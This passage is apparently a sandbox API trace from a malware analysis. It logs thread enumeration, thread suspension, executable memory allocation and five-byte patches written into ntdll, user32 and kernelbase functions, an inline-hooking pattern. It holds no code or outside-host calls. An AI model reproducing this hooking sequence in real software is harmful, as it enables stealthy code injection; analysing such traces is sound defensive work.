lpte=0x19ee54) returned 1 [0048.604] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.605] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.605] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.606] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.607] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.607] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.608] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.609] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.609] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.610] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.611] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.612] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.613] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.613] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.616] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.616] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.617] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.618] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.619] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.619] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.620] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.621] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.621] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.622] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.623] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.623] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.624] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.625] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.625] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.626] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.627] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.627] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.628] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.629] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.632] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.632] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.633] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.634] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.635] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.636] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.636] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.637] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.638] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.639] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.639] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.640] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.641] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.641] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.642] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.643] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.643] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.644] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.645] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.646] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.646] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.647] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.648] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.648] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.649] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.650] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.651] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.652] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.652] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.655] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.656] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.656] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.657] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.658] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.658] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.659] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.660] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.661] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.661] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.662] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.663] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.663] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.664] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.665] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.738] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.739] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.739] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.740] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.740] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.741] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.742] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.742] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.743] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.744] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.745] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.745] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.746] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.746] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.747] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.748] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.748] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.749] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.750] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.750] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.751] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.751] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.752] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.753] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.753] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.754] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.755] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.755] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.756] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.756] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.757] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.758] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.758] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.759] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.760] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.761] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.761] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.762] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.762] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.763] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.764] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.764] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.765] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.765] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.766] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.767] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.767] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.768] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0048.769] Thread32Next (hSnapshot=0x148, lpte=0x19ee54) returned 1 [0049.054] OpenThread (dwDesiredAccess=0x2, bInheritHandle=0, dwThreadId=0x37c) returned 0x14c [0049.055] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x4) returned 0x29909e0 [0049.055] CloseHandle (hObject=0x148) returned 1 [0049.055] SuspendThread (hThread=0x14c) returned 0x0 [0049.057] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xc) returned 0x29909f0 [0049.057] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xa) returned 0x2990a08 [0049.058] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77bb0000 [0049.059] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xc) returned 0x2990a20 [0049.059] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x12) returned 0x2990a38 [0049.060] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x10) returned 0x2990a58 [0049.061] GetSystemInfo (in: lpSystemInfo=0x19e958 | out: lpSystemInfo=0x19e958*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0049.061] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x1e0000 [0049.061] GetCurrentProcess () returned 0xffffffff [0049.061] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x1e0005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0049.062] GetCurrentProcess () returned 0xffffffff [0049.062] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x1e000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0049.063] GetCurrentProcess () returned 0xffffffff [0049.063] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x77c0ff60, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0049.064] VirtualProtect (in: lpAddress=0x1e0000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0049.068] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x4) returned 0x2990a70 [0049.069] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xc) returned 0x2990a80 [0049.070] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x12) returned 0x2990a98 [0049.071] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x10) returned 0x2990ab8 [0049.071] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0x1f0000 [0049.072] GetCurrentProcess () returned 0xffffffff [0049.072] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x1f0008, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0049.072] GetCurrentProcess () returned 0xffffffff [0049.072] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x1f0015, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0049.072] GetCurrentProcess () returned 0xffffffff [0049.073] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x77c36560, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0049.073] VirtualProtect (in: lpAddress=0x1f0000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0049.074] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x8) returned 0x2990ad0 [0049.074] HeapFree (in: hHeap=0x2990000, dwFlags=0x0, lpMem=0x2990a70 | out: hHeap=0x2990000) returned 1 [0049.076] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xc) returned 0x2990ae0 [0049.076] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xb) returned 0x2990af8 [0049.076] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0049.077] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xc) returned 0x2990b10 [0049.077] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xc) returned 0x2990b28 [0049.079] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x10) returned 0x2990b40 [0049.079] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xde0000 [0049.079] GetCurrentProcess () returned 0xffffffff [0049.079] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xde0005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0049.080] GetCurrentProcess () returned 0xffffffff [0049.080] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xde000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0049.080] GetCurrentProcess () returned 0xffffffff [0049.080] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x74b8d7b0, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0049.081] VirtualProtect (in: lpAddress=0xde0000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0049.082] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x10) returned 0x2990b58 [0049.082] HeapFree (in: hHeap=0x2990000, dwFlags=0x0, lpMem=0x2990ad0 | out: hHeap=0x2990000) returned 1 [0049.084] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xc) returned 0x2990b70 [0049.084] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xc) returned 0x29904a0 [0049.278] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x10) returned 0x2995798 [0049.278] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xe10000 [0049.279] GetCurrentProcess () returned 0xffffffff [0049.279] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe10005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0049.279] GetCurrentProcess () returned 0xffffffff [0049.279] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe1000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0049.279] GetCurrentProcess () returned 0xffffffff [0049.279] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x74ba0480, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0049.280] VirtualProtect (in: lpAddress=0xe10000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0049.283] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xc) returned 0x2995888 [0049.283] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0xf) returned 0x2995750 [0049.283] GetModuleHandleA (lpModuleName="kernelbase.dll") returned 0x74ea0000 [0049.285] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x10) returned 0x2995738 [0049.285] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xe20000 [0049.286] GetCurrentProcess () returned 0xffffffff [0049.286] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe20005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0049.286] GetCurrentProcess () returned 0xffffffff [0049.286] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xe2000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0049.286] GetCurrentProcess () returned 0xffffffff [0049.286] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x74f70090, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0049.287] VirtualProtect (in: lpAddress=0xe20000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0049.296] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x20) returned 0x29904b8 [0049.296] HeapFree (in: hHeap=0x2990000, dwFlags=0x0, lpMem=0x2990b58 | out: hHeap=0x2990000) returned 1 [0049.299] RtlAllocateHeap (HeapHandle=0x2990000, Flags=0x0, Size=0x10) returned 0x29958a0 [0049.299] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x3000, flProtect=0x40) returned 0xf40000 [0049.300] GetCurrentProcess () returned 0xffffffff [0049.300] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xf40005, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0049.300] GetCurrentProcess () returned 0xffffffff [0049.300] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0xf4000f, lpBuffer=0x19e940*, nSize=0x6, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e940*, lpNumberOfBytesWritten=0x0) returned 1 [0049.300] GetCurrentProcess () returned 0xffffffff [0049.300] WriteProcessMemory (in: hProcess=0xffffffff, lpBaseAddress=0x74f96320, lpBuffer=0x19e93c*, nSize=0x5, lpNumberOfBytesWritten=0x0 | out: lpBuffer=0x19e93c*, lpNumberOfBytesWritten=0x0) returned 1 [0049.301] VirtualProtect (in: lpAddress=0xf40000, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x19e97c | out: lpflOldProtect=0x19e97c*=0x40) returned 1 [0049.305] ResumeThread (hThread=0x14c) returned 0x1 [0049.305] CloseHandle (hObject=0x14c) returned 1 [0049.305] HeapFree (in: hHeap=0x2990000, dwFlags=0x0, lpMem=0x29909e0 | out: hHeap=0x2990000) returned 1 [0049.306] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x14c [0049.313] Thread32First (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.313] GetCurrentProcessId () returned 0xf4c [0049.313] GetCurrentThreadId () returned 0xf30 [0049.314] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.314] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.315] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.316] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.316] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.317] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.317] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.318] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.319] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.319] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.323] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.324] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.325] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.325] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.326] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.327] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.327] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.328] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.329] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.329] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.330] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.331] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.331] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.332] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.333] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.333] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.334] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.335] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.335] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.336] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.337] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.338] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.341] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.342] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.342] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.343] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.344] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.344] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.345] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.346] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.346] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.347] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.348] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.348] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.349] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.350] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.351] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.352] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.353] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.354] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.354] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.355] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.356] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.356] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.357] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.357] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.358] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.359] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.359] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.360] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.361] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.361] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.362] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.363] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.363] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.364] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.364] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.365] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.366] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.366] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.367] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.368] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.368] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.370] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.371] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.372] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.372] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.373] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.373] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.374] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.375] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.375] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.376] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.377] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.377] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.378] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.378] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.381] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.382] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.383] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.383] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.384] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 [0049.385] Thread32Next (hSnapshot=0x14c, lpte=0x19ee4c) returned 1 